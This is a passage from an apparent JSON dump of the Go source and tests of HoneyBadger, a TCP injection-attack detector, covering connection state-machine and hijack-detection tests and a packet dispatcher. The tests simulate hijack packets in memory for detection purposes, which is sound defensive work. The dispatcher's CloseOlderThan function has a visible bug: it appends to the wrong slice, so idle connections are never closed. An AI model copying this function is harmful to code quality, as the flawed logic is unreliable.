1,\n\t\tDstPort: 2,\n\t}\n\n\tipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5)))\n\ttcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2)))\n\tflow := types.NewTcpIpFlowFromFlows(ipFlow, tcpFlow)\n\n\tp := types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      &flow,\n\t\tIPv4:      &ip,\n\t\tTCP:       &tcp,\n\t\tPayload:   []byte{},\n\t}\n\ttcp.SetNetworkLayerForChecksum(&ip)\n\tflowReversed := flow.Reverse()\n\n\tconn.clientFlow = &flow\n\tconn.serverFlow = &flowReversed\n\tconn.ReceivePacket(&p)\n\tif conn.state != TCP_CONNECTION_REQUEST {\n\t\tt.Error(\"invalid state transition\\n\")\n\t\tt.Fail()\n\t}\n\n\t// next state transition test\n\tip = layers.IPv4{\n\t\tSrcIP:    net.IP{2, 3, 4, 5},\n\t\tDstIP:    net.IP{1, 2, 3, 4},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp = layers.TCP{\n\t\tSeq:     9,\n\t\tSYN:     true,\n\t\tACK:     true,\n\t\tAck:     4,\n\t\tSrcPort: 2,\n\t\tDstPort: 1,\n\t}\n\tp = types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      &flowReversed,\n\t\tIPv4:      &ip,\n\t\tTCP:       &tcp,\n\t\tPayload:   []byte{},\n\t}\n\tconn.ReceivePacket(&p)\n\n\tif conn.state != TCP_CONNECTION_ESTABLISHED {\n\t\tt.Errorf(\"invalid state transition: current state %d\\n\", conn.state)\n\t\tt.Fail()\n\t}\n\n\t// next state transition test\n\tip = layers.IPv4{\n\t\tSrcIP:    net.IP{1, 2, 3, 4},\n\t\tDstIP:    net.IP{2, 3, 4, 5},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp = layers.TCP{\n\t\tSeq:     4,\n\t\tSYN:     false,\n\t\tACK:     true,\n\t\tAck:     10,\n\t\tSrcPort: 1,\n\t\tDstPort: 2,\n\t}\n\tp = types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      &flow,\n\t\tIPv4:      &ip,\n\t\tTCP:       &tcp,\n\t\tPayload:   []byte{},\n\t}\n\tconn.ReceivePacket(&p)\n\n\tif conn.state != TCP_DATA_TRANSFER {\n\t\tt.Error(\"invalid state transition\\n\")\n\t\tt.Fail()\n\t}\n\n}\n\nfunc TestClientThreeWayClose(t *testing.T) {\n\tHelperTestThreeWayClose(true, t)\n}\n\nfunc TestServerThreeWayClose(t *testing.T) {\n\tHelperTestThreeWayClose(false, t)\n}\n\nfunc HelperTestThreeWayClose(isClient bool, t *testing.T) {\n\tPageCache := newPageCache()\n\n\tvar closerState, remoteState *uint8\n\tattackLogger := NewDummyAttackLogger()\n\toptions := ConnectionOptions{\n\t\tMaxBufferedPagesTotal:         0,\n\t\tMaxBufferedPagesPerConnection: 0,\n\t\tMaxRingPackets:                40,\n\t\tPageCache:                     PageCache,\n\t\tLogDir:                        \"fake-log-dir\",\n\t}\n\n\tf := &DefaultConnFactory{}\n\tconn := f.Build(options).(*Connection)\n\tconn.AttackLogger = attackLogger\n\n\tconn.state = TCP_DATA_TRANSFER\n\tconn.serverNextSeq = 4666\n\tconn.clientNextSeq = 9666\n\n\tif isClient {\n\t\tcloserState = &conn.clientState\n\t\tremoteState = &conn.serverState\n\t} else {\n\t\tcloserState = &conn.serverState\n\t\tremoteState = &conn.clientState\n\t}\n\n\tipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5)))\n\ttcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2)))\n\n\tip := layers.IPv4{\n\t\tSrcIP:    net.IP{1, 2, 3, 4},\n\t\tDstIP:    net.IP{2, 3, 4, 5},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\n\ttcp := layers.TCP{\n\t\tSeq:     9666,\n\t\tAck:     4111,\n\t\tFIN:     true,\n\t\tSYN:     false,\n\t\tACK:     true,\n\t\tSrcPort: 1,\n\t\tDstPort: 2,\n\t}\n\n\tflow := types.NewTcpIpFlowFromFlows(ipFlow, tcpFlow)\n\tp := types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      &flow,\n\t\tIPv4:      &ip,\n\t\tTCP:       &tcp,\n\t\tPayload:   []byte{},\n\t}\n\n\tconn.clientFlow = &flow\n\tff := flow.Reverse()\n\tconn.serverFlow = &ff\n\n\tconn.ReceivePacket(&p)\n\tlog.Print(\"meow1\")\n\n\tif conn.state != TCP_CONNECTION_CLOSING {\n\t\tt.Error(\"connection state must transition to TCP_CONNECTION_CLOSING\\n\")\n\t\tt.Fail()\n\t}\n\tif *closerState != TCP_FIN_WAIT1 {\n\t\tt.Error(\"closer state must be in TCP_FINE_WAIT1\\n\")\n\t\tt.Fail()\n\t}\n\tif *remoteState != TCP_CLOSE_WAIT {\n\t\tt.Error(\"remote state must be in TCP_CLOSE_WAIT\\n\")\n\t\tt.Fail()\n\t}\n\n\t// next state transition\n\tip = layers.IPv4{\n\t\tSrcIP:    net.IP{2, 3, 4, 5},\n\t\tDstIP:    net.IP{1, 2, 3, 4},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp = layers.TCP{\n\t\tSeq:     4111,\n\t\tSYN:     false,\n\t\tFIN:     true,\n\t\tACK:     true,\n\t\tAck:     9667,\n\t\tSrcPort: 2,\n\t\tDstPort: 1,\n\t}\n\n\tflow2 := flow.Reverse()\n\n\tp = types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      &flow2,\n\t\tIPv4:      &ip,\n\t\tTCP:       &tcp,\n\t\tPayload:   []byte{},\n\t}\n\n\tconn.ReceivePacket(&p)\n\tlog.Print(\"meow2\")\n\n\tif conn.state != TCP_CONNECTION_CLOSING {\n\t\tt.Error(\"connection state must transition to TCP_CONNECTION_CLOSING\\n\")\n\t\tt.Fail()\n\t}\n\n\t// next state transition\n\tip = layers.IPv4{\n\t\tSrcIP:    net.IP{1, 2, 3, 4},\n\t\tDstIP:    net.IP{2, 3, 4, 5},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp = layers.TCP{\n\t\tSeq:     9667,\n\t\tSYN:     false,\n\t\tFIN:     false,\n\t\tACK:     true,\n\t\tAck:     4112,\n\t\tSrcPort: 1,\n\t\tDstPort: 2,\n\t}\n\tp = types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      &flow,\n\t\tIPv4:      &ip,\n\t\tTCP:       &tcp,\n\t\tPayload:   []byte{},\n\t}\n\n\tconn.ReceivePacket(&p)\n\tlog.Print(\"freeing page cache\")\n}\n\nfunc TestTCPHijack(t *testing.T) {\n\tattackLogger := NewDummyAttackLogger()\n\toptions := ConnectionOptions{\n\t\tMaxBufferedPagesTotal:         0,\n\t\tMaxBufferedPagesPerConnection: 0,\n\t\tMaxRingPackets:                40,\n\t\tPageCache:                     nil,\n\t\tLogDir:                        \"fake-log-dir\",\n\t\tDetectHijack:                  true,\n\t}\n\n\tf := &DefaultConnFactory{}\n\tconn := f.Build(options).(*Connection)\n\tconn.AttackLogger = attackLogger\n\n\tip := layers.IPv4{\n\t\tSrcIP:    net.IP{1, 2, 3, 4},\n\t\tDstIP:    net.IP{2, 3, 4, 5},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp := layers.TCP{\n\t\tSeq:     3,\n\t\tSYN:     true,\n\t\tACK:     false,\n\t\tSrcPort: 1,\n\t\tDstPort: 2,\n\t}\n\n\tipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5)))\n\ttcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2)))\n\tflow := types.NewTcpIpFlowFromFlows(ipFlow, tcpFlow)\n\n\tp := types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      &flow,\n\t\tIPv4:      &ip,\n\t\tTCP:       &tcp,\n\t\tPayload:   []byte{},\n\t}\n\ttcp.SetNetworkLayerForChecksum(&ip)\n\tflowReversed := flow.Reverse()\n\n\tconn.clientFlow = &flow\n\tconn.serverFlow = &flowReversed\n\n\tconn.ReceivePacket(&p)\n\n\tif conn.state != TCP_CONNECTION_REQUEST {\n\t\tt.Error(\"invalid state transition\\n\")\n\t\tt.Fail()\n\t}\n\n\t// next state transition test\n\tip = layers.IPv4{\n\t\tSrcIP:    net.IP{2, 3, 4, 5},\n\t\tDstIP:    net.IP{1, 2, 3, 4},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp = layers.TCP{\n\t\tSeq:     9,\n\t\tSYN:     true,\n\t\tACK:     true,\n\t\tAck:     4,\n\t\tSrcPort: 2,\n\t\tDstPort: 1,\n\t}\n\tp = types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      &flowReversed,\n\t\tIPv4:      &ip,\n\t\tTCP:       &tcp,\n\t\tPayload:   []byte{},\n\t}\n\tconn.ReceivePacket(&p)\n\n\tif conn.state != TCP_CONNECTION_ESTABLISHED {\n\t\tt.Errorf(\"invalid state transition: current state %d\\n\", conn.state)\n\t\tt.Fail()\n\t}\n\n\t// test hijack in TCP_CONNECTION_ESTABLISHED state\n\tip = layers.IPv4{\n\t\tSrcIP:    net.IP{2, 3, 4, 5},\n\t\tDstIP:    net.IP{1, 2, 3, 4},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp = layers.TCP{\n\t\tSeq:     6699,\n\t\tSYN:     true,\n\t\tACK:     true,\n\t\tAck:     4,\n\t\tSrcPort: 2,\n\t\tDstPort: 1,\n\t}\n\tp = types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      &flowReversed,\n\t\tIPv4:      &ip,\n\t\tTCP:       &tcp,\n\t\tPayload:   []byte{},\n\t}\n\tconn.ReceivePacket(&p)\n\n\tif attackLogger.Count != 1 {\n\t\tt.Error(\"hijack detection fail\")\n\t\tt.Fail()\n\t}\n\n\t// next state transition test\n\tip = layers.IPv4{\n\t\tSrcIP:    net.IP{1, 2, 3, 4},\n\t\tDstIP:    net.IP{2, 3, 4, 5},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp = layers.TCP{\n\t\tSeq:     4,\n\t\tSYN:     false,\n\t\tACK:     true,\n\t\tAck:     10,\n\t\tSrcPort: 1,\n\t\tDstPort: 2,\n\t}\n\tp = types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      &flow,\n\t\tIPv4:      &ip,\n\t\tTCP:       &tcp,\n\t\tPayload:   []byte{},\n\t}\n\tconn.ReceivePacket(&p)\n\n\tif conn.state != TCP_DATA_TRANSFER {\n\t\tt.Errorf(\"invalid state transition; state is %d\\n\", conn.state)\n\t\tt.Fail()\n\t}\n\n\t// test hijack in TCP_DATA_TRANSFER state\n\tip = layers.IPv4{\n\t\tSrcIP:    net.IP{2, 3, 4, 5},\n\t\tDstIP:    net.IP{1, 2, 3, 4},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp = layers.TCP{\n\t\tSeq:     7711,\n\t\tSYN:     true,\n\t\tACK:     true,\n\t\tAck:     4,\n\t\tSrcPort: 2,\n\t\tDstPort: 1,\n\t}\n\tp = types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      &flowReversed,\n\t\tIPv4:      &ip,\n\t\tTCP:       &tcp,\n\t\tPayload:   []byte{},\n\t}\n\tconn.ReceivePacket(&p)\n\n\tif attackLogger.Count != 2 {\n\t\tt.Error(\"hijack detection fail\")\n\t\tt.Fail()\n\t}\n\n}\n"
  },
  {
    "path": "dispatcher.go",
    "content": "/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage HoneyBadger\n\nimport (\n\t\"log\"\n\t\"time\"\n\n\t\"github.com/google/gopacket/layers\"\n\n\t\"github.com/david415/HoneyBadger/types\"\n)\n\ntype TimedRawPacket struct {\n\tTimestamp time.Time\n\tRawPacket []byte\n}\n\n// InquisitorOptions are user set parameters for specifying the\n// details of how to proceed with honey_bager's TCP connection monitoring.\n// More parameters should soon be added here!\ntype DispatcherOptions struct {\n\tBufferedPerConnection    int\n\tBufferedTotal            int\n\tLogDir                   string\n\tLogPackets               bool\n\tMaxPcapLogRotations      int\n\tMaxPcapLogSize           int\n\tTcpIdleTimeout           time.Duration\n\tMaxRingPackets           int\n\tLogger                   types.Logger\n\tDetectHijack             bool\n\tDetectInjection          bool\n\tDetectCoalesceInjection  bool\n\tMaxConcurrentConnections int\n}\n\n// Inquisitor sets up the connection pool and is an abstraction layer for dealing\n// with incoming packets weather they be from a pcap file or directly off the wire.\ntype Dispatcher struct {\n\toptions                DispatcherOptions\n\tconnectionFactory      ConnectionFactory\n\tobserveConnectionCount int\n\tobserveConnectionChan  chan bool\n\tdispatchPacketChan     chan *types.PacketManifest\n\tstopDispatchChan       chan bool\n\tcloseConnectionChan    chan ConnectionInterface\n\tpageCache              *pageCache\n\tPacketLoggerFactory    types.PacketLoggerFactory\n\tpoolTcpIpv4            map[types.HashedTcpIpv4Flow]ConnectionInterface\n\tpoolTcpIpv6            map[types.HashedTcpIpv6Flow]ConnectionInterface\n}\n\n// NewInquisitor creates a new Inquisitor struct\nfunc NewDispatcher(options DispatcherOptions, connectionFactory ConnectionFactory, packetLoggerFactory types.PacketLoggerFactory) *Dispatcher {\n\ti := Dispatcher{\n\t\tPacketLoggerFactory:   packetLoggerFactory,\n\t\tconnectionFactory:     connectionFactory,\n\t\toptions:               options,\n\t\tdispatchPacketChan:    make(chan *types.PacketManifest),\n\t\tstopDispatchChan:      make(chan bool),\n\t\tcloseConnectionChan:   make(chan ConnectionInterface),\n\t\tpageCache:             newPageCache(),\n\t\tobserveConnectionChan: make(chan bool, 0),\n\t\tpoolTcpIpv4: make(map[types.HashedTcpIpv4Flow]ConnectionInterface),\n\t\tpoolTcpIpv6: make(map[types.HashedTcpIpv6Flow]ConnectionInterface),\n\t}\n\treturn &i\n}\n\nfunc (i *Dispatcher) GetObservedConnectionsChan(count int) chan bool {\n\ti.observeConnectionCount = count\n\treturn i.observeConnectionChan\n}\n\n// Start... starts the TCP attack inquisition!\nfunc (i *Dispatcher) Start() {\n\tgo i.dispatchPackets()\n}\n\n// Stop... stops the TCP attack inquisition!\nfunc (i *Dispatcher) Stop() {\n\ti.stopDispatchChan <- true\n\tclosedConns := i.CloseAllConnections()\n\tlog.Printf(\"%d connection(s) closed.\", closedConns)\n}\n\n// connectionsLocked returns a slice of Connection pointers.\nfunc (i *Dispatcher) Connections() []ConnectionInterface {\n\treturn i.connections()\n}\n\nfunc (i *Dispatcher) connections() []ConnectionInterface {\n\tconns := make([]ConnectionInterface, 0, len(i.poolTcpIpv4) + len(i.poolTcpIpv6))\n\tfor _, conn := range i.poolTcpIpv4 {\n\t\tconns = append(conns, conn)\n\t}\n\tfor _, conn := range i.poolTcpIpv6 {\n\t\tconns = append(conns, conn)\n\t}\n\treturn conns\n}\n\nfunc (i *Dispatcher) ReceivePacket(p *types.PacketManifest) {\n\ti.dispatchPacketChan <- p\n}\n\n// CloseOlderThan takes a Time argument and closes all the connections\n// that have not received packet since that specified time\nfunc (i *Dispatcher) CloseOlderThan(t time.Time) int {\n\tconns := i.connections()\n\tif conns == nil {\n\t\treturn 0\n\t}\n\n\tcloseList := make([]ConnectionInterface,0)\n\tfor _, conn := range conns {\n\t\tlastSeen := conn.GetLastSeen()\n\t\tif lastSeen.Equal(t) || lastSeen.Before(t) {\n\t\t\tconns = append(conns, conn)\n\t\t}\n\t}\n\treturn i.closeConnectionList(closeList)\n}\n\n// CloseAllConnections closes all connections in the pool.\nfunc (i *Dispatcher) CloseAllConnections() int {\n\tconns := i.connections()\n\tif conns == nil {\n\t\treturn 0\n\t}\n\treturn i.closeConnectionList(conns)\n}\n\nfunc (i *Dispatcher) closeConnectionList(conns []ConnectionInterface) int {\n\tcount := 0\n\tfor _, conn := range conns {\n\t\ttcpip_flow := conn.GetClientFlow()\n\t\tnetFlow, _ := tcpip_flow.Flows()\n\t\teType := netFlow.EndpointType()\n\t\tif eType == layers.EndpointIPv4 {\n\t\t\tdelete(i.poolTcpIpv4, types.NewHashedTcpIpv4Flow(tcpip_flow))\n\t\t\tcount += 1\n\t\t} else if eType == layers.EndpointIPv6 {\n\t\t\tdelete(i.poolTcpIpv6, types.NewHashedTcpIpv6Flow(tcpip_flow))\n\t\t\tcount += 1\n\t\t} else {\n\t\t\tpanic(\"wtf\")\n\t\t}\n\t\tconn.Close()\n\t}\n\treturn count\n}\n\nfunc (i *Dispatcher) setupNewConnection(flow *types.TcpIpFlow) ConnectionInterface {\n\toptions := ConnectionOptions{\n\t\tMaxBufferedPagesTotal:         i.options.BufferedTotal,\n\t\tMaxBufferedPagesPerConnection: i.options.BufferedPerConnection,\n\t\tMaxRingPackets:                i.options.MaxRingPackets,\n\t\tPageCache:                     i.pageCache,\n\t\tLogDir:                        i.options.LogDir,\n\t\tAttackLogger:                  i.options.Logger,\n\t\tLogPackets:                    i.options.LogPackets,\n\t\tDetectHijack:                  i.options.DetectHijack,\n\t\tDetectInjection:               i.options.DetectInjection,\n\t\tDetectCoalesceInjection:       i.options.DetectCoalesceInjection,\n\t}\n\n\tconn := i.connectionFactory.Build(options)\n\tif i.options.LogPackets {\n\t\tpacketLogger := i.PacketLoggerFactory.Build(flow)\n\t\tconn.SetPacketLogger(packetLogger)\n\t\tpacketLogger.Start()\n\t}\n\n\tipFlow, _ := flow.Flows()\n\teType := ipFlow.EndpointType()\n\tif eType == layers.EndpointIPv4 {\n\t\ti.poolTcpIpv4[types.NewHashedTcpIpv4Flow(flow)] = conn\n\t} else if eType == layers.EndpointIPv6 {\n\t\ti.poolTcpIpv6[types.NewHashedTcpIpv6Flow(flow)] = conn\n\t} else {\n\t\tpanic(\"wtf\")\n\t}\n\n\tif i.observeConnectionCount != 0 && i.observeConnectionCount == len(i.connections()) {\n\t\ti.observeConnectionChan <- true\n\t}\n\treturn conn\n}\n\nfunc (i *Dispatcher) dispatchPackets() {\n\tvar conn ConnectionInterface\n\ttimeout := i.options.TcpIdleTimeout\n\tticker := time.Tick(timeout)\n\n\tfor {\n\t\tselect {\n\t\tcase <-ticker:\n\t\t\tclosed := i.CloseOlderThan(time.Now().Add(timeout * -1))\n\t\t\tif closed != 0 {\n\t\t\t\tlog.Printf(\"timeout closed %d connections\\n\", closed)\n\t\t\t}\n\t\tcase <-i.stopDispatchChan:\n\t\t\treturn\n\t\tcase packetManifest := <-i.dispatchPacketChan:\n\t\t\tipFlow, _ := packetManifest.Flow.Flows()\n\t\t\teType := ipFlow.EndpointType()\n\n\t\t\tif eType == layers.EndpointIPv4 {\n\t\t\t\t_, ok := i.poolTcpIpv4[types.NewHashedTcpIpv4Flow(packetManifest.Flow)]\n\t\t\t\tif ok {\n\t\t\t\t\tconn = i.poolTcpIpv4[types.NewHashedTcpIpv4Flow(packetManifest.Flow)]\n\t\t\t\t} else {\n\t\t\t\t\tif i.options.MaxConcurrentConnections != 0 {\n\t\t\t\t\t\tif len(i.poolTcpIpv4) >= i.options.MaxConcurrentConnections {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tconn = i.setupNewConnection(packetManifest.Flow)\n\t\t\t\t}\n\t\t\t} else if eType == layers.EndpointIPv6 {\n\t\t\t\tconnectionHash := types.NewHashedTcpIpv6Flow(packetManifest.Flow)\n\t\t\t\t_, ok := i.poolTcpIpv6[connectionHash]\n\t\t\t\tif ok {\n\t\t\t\t\tconn = i.poolTcpIpv6[connectionHash]\n\t\t\t\t} else {\n\t\t\t\t\tif i.options.MaxConcurrentConnections != 0 {\n\t\t\t\t\t\tif len(i.poolTcpIpv6) >= i.options.MaxConcurrentConnections {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tconn = i.setupNewConnection(packetManifest.Flow)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tpanic(\"wtf\")\n\t\t\t}\n\t\t\tconn.ReceivePacket(packetManifest)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "dispatcher_test.go",
    "content": "package HoneyBadger\n\nimport (\n\t\"io\"\n\t\"log\"\n\t\"net\"\n\t\"os\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/david415/HoneyBadger/logging\"\n\t\"github.com/david415/HoneyBadger/types\"\n\t\"github.com/google/gopacket/layers\"\n)\n\ntype MockSniffer struct {\n\tsupervisor  types.Supervisor\n\tstartedChan chan bool\n}\n\nfunc NewMockSniffer(options *types.SnifferDriverOptions, dispatcher PacketDispatcher) types.PacketSource {\n\tvar packetSource types.PacketSource = &MockSniffer{\n\t\tstartedChan: make(chan bool, 0),\n\t}\n\treturn packetSource\n}\n\nfunc (s *MockSniffer) Start() {\n\tlog.Print(\"MockSniffer Start()\")\n\ts.startedChan <- true\n}\nfunc (s *MockSniffer) Stop() {\n\tlog.Print(\"MockSniffer Stop()\")\n}\nfunc (s *MockSniffer) SetSupervisor(supervisor types.Supervisor) {\n\ts.supervisor = supervisor\n}\nfunc (s *MockSniffer) GetStartedChan() chan bool {\n\treturn s.startedChan\n}\n\ntype MockConnection struct {\n\toptions            ConnectionOptions\n\tclientFlow         types.TcpIpFlow\n\tserverFlow         types.TcpIpFlow\n\tlastSeen           time.Time\n\tClientStreamRing   *types.Ring\n\tpacketObserverChan chan bool\n\treceiveChan        chan *types.PacketManifest\n}\n\nfunc (m MockConnection) GetClientFlow() *types.TcpIpFlow {\n\treturn &m.clientFlow\n}\n\nfunc (m MockConnection) Close() {\n\tlog.Print(\"MockConnection.Close()\")\n\tclose(m.receiveChan)\n}\n\nfunc (m MockConnection) ReceivePacket(p *types.PacketManifest) {\n\tm.packetObserverChan <- true\n}\n\nfunc (m MockConnection) GetLastSeen() time.Time {\n\treturn m.lastSeen\n}\n\nfunc (m MockConnection) SetPacketLogger(l types.PacketLogger) {\n\tlog.Print(\"MockConnection.SetPacketLogger\")\n}\n\ntype mockConnFactory struct {\n}\n\nfunc (m *mockConnFactory) Build(options ConnectionOptions) ConnectionInterface {\n\tc := &MockConnection{\n\t\toptions:            options,\n\t\tpacketObserverChan: make(chan bool, 0),\n\t}\n\n\treturn c\n}\n\ntype MockPacketLoggerFactory struct {\n\tpcapNum  int\n\tpcapSize int\n}\n\nfunc (f MockPacketLoggerFactory) Build(flow *types.TcpIpFlow) types.PacketLogger {\n\treturn NewMockPacketLogger(\"str\", flow, 10, 50)\n}\n\ntype MockPacketLogger struct {\n\tpacketObserverChan chan bool\n}\n\nfunc NewMockPacketLogger(str string, flow *types.TcpIpFlow, pcapNum int, pcapSize int) types.PacketLogger {\n\tm := MockPacketLogger{\n\t\tpacketObserverChan: make(chan bool, 0),\n\t}\n\treturn types.PacketLogger(&m)\n}\n\nfunc (m *MockPacketLogger) WritePacket(rawPacket []byte, timestamp time.Time) {\n\tlog.Print(\"MockPacketLogger.WritePacket\")\n\tm.packetObserverChan <- true\n}\n\nfunc (m *MockPacketLogger) SetFileWriter(writer io.WriteCloser) {\n}\n\nfunc (m *MockPacketLogger) Start() {\n\tlog.Print(\"MockPacketLogger.Start\")\n}\n\nfunc (m *MockPacketLogger) Stop() {\n\tlog.Print(\"MockPacketLogger.Stop\")\n}\n\nfunc (m *MockPacketLogger) Archive() {\n}\n\nfunc (m *MockPacketLogger) Remove() {\n}\n\nfunc SetupTestInquisitor() (*Supervisor, PacketDispatcher, types.PacketSource) {\n\ttcpIdleTimeout, _ := time.ParseDuration(\"10m\")\n\tdispatcherOptions := DispatcherOptions{\n\t\tBufferedPerConnection:    10,\n\t\tBufferedTotal:            100,\n\t\tLogDir:                   \".\",\n\t\tLogPackets:               true,\n\t\tTcpIdleTimeout:           tcpIdleTimeout,\n\t\tMaxRingPackets:           40,\n\t\tLogger:                   logging.NewAttackMetadataJsonLogger(\"archives\"),\n\t\tDetectHijack:             true,\n\t\tDetectInjection:          true,\n\t\tDetectCoalesceInjection:  true,\n\t\tMaxConcurrentConnections: 100,\n\t}\n\n\twireDuration, _ := time.ParseDuration(\"3s\")\n\tsnifferOptions := types.SnifferDriverOptions{\n\t\tDevice:       \"myInterface\",\n\t\tFilename:     \"\",\n\t\tWireDuration: wireDuration,\n\t\tSnaplen:      65536,\n\t\tFilter:       \"tcp\",\n\t}\n\tfactory := mockConnFactory{}\n\tmockPacketLoggerFactory := MockPacketLoggerFactory{}\n\toptions := SupervisorOptions{\n\t\tSnifferDriverOptions: &snifferOptions,\n\t\tDispatcherOptions:    dispatcherOptions,\n\t\tSnifferFactory:       NewMockSniffer,\n\t\tConnectionFactory:    &factory,\n\t\tPacketLoggerFactory:  mockPacketLoggerFactory,\n\t}\n\n\tsupervisor := NewSupervisor(options)\n\tgo supervisor.Run()\n\tsniffer := supervisor.GetSniffer()\n\tstartedChan := sniffer.GetStartedChan()\n\tdispatcher := supervisor.GetDispatcher()\n\t<-startedChan\n\treturn supervisor, dispatcher, sniffer\n}\n\nfunc TestInquisitorForceQuit(t *testing.T) {\n\tsupervisor, _, _ := SetupTestInquisitor()\n\tvar sig os.Signal\n\tsupervisor.forceQuitChan <- sig\n}\n\nfunc TestInquisitorSourceStopped(t *testing.T) {\n\tsupervisor, _, sniffer := SetupTestInquisitor()\n\tsniffer.Stop()\n\tsupervisor.Stopped()\n}\n\nfunc TestInquisitorSourceReceiveOne(t *testing.T) {\n\n\t_, dispatcher, sniffer := SetupTestInquisitor()\n\n\tip := layers.IPv4{\n\t\tSrcIP:    net.IP{1, 2, 3, 4},\n\t\tDstIP:    net.IP{2, 3, 4, 5},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp := layers.TCP{\n\t\tSeq:     3,\n\t\tSYN:     false,\n\t\tSrcPort: 1,\n\t\tDstPort: 2,\n\t}\n\tflow := types.NewTcpIp4FlowFromLayers(ip, tcp)\n\tp := types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      flow,\n\t\tIPv4:      &ip,\n\t\tTCP:       &tcp,\n\t\tPayload:   []byte{1, 2, 3, 4, 5, 6, 7},\n\t}\n\n\tconnsChan := dispatcher.GetObservedConnectionsChan(1)\n\n\tlog.Print(\"before receive packet\")\n\tdispatcher.ReceivePacket(&p)\n\tlog.Print(\"after receive packet\")\n\n\t<-connsChan\n\tlog.Print(\"after connsChan receive\")\n\n\tconns := dispatcher.Connections()\n\tlog.Print(\"fu3\")\n\tif len(conns) != 1 {\n\t\tt.Fatalf(\"number of connections %d is not 1\", len(conns))\n\t}\n\tconn := conns[0]\n\n\tmockConn := conn.(*MockConnection)\n\tlog.Print(\"listen to packet observer chan\")\n\t<-mockConn.packetObserverChan\n\n\tsniffer.Stop()\n}\n\nfunc TestInquisitorResetTwice(t *testing.T) {\n\n\t_, dispatcher, sniffer := SetupTestInquisitor()\n\n\tstartSeq := 3\n\tip1 := layers.IPv4{\n\t\tSrcIP:    net.IP{1, 2, 3, 4},\n\t\tDstIP:    net.IP{2, 3, 4, 5},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp1 := layers.TCP{\n\t\tSeq:     uint32(startSeq),\n\t\tSYN:     false,\n\t\tRST:     true,\n\t\tSrcPort: 1,\n\t\tDstPort: 2,\n\t}\n\tflow1 := types.NewTcpIp4FlowFromLayers(ip1, tcp1)\n\tpacket1 := types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      flow1,\n\t\tIPv4:      &ip1,\n\t\tTCP:       &tcp1,\n\t\tPayload:   []byte{1, 2, 3, 4, 5, 6, 7},\n\t}\n\n\tip2 := layers.IPv4{\n\t\tSrcIP:    net.IP{1, 2, 3, 4},\n\t\tDstIP:    net.IP{2, 3, 4, 5},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp2 := 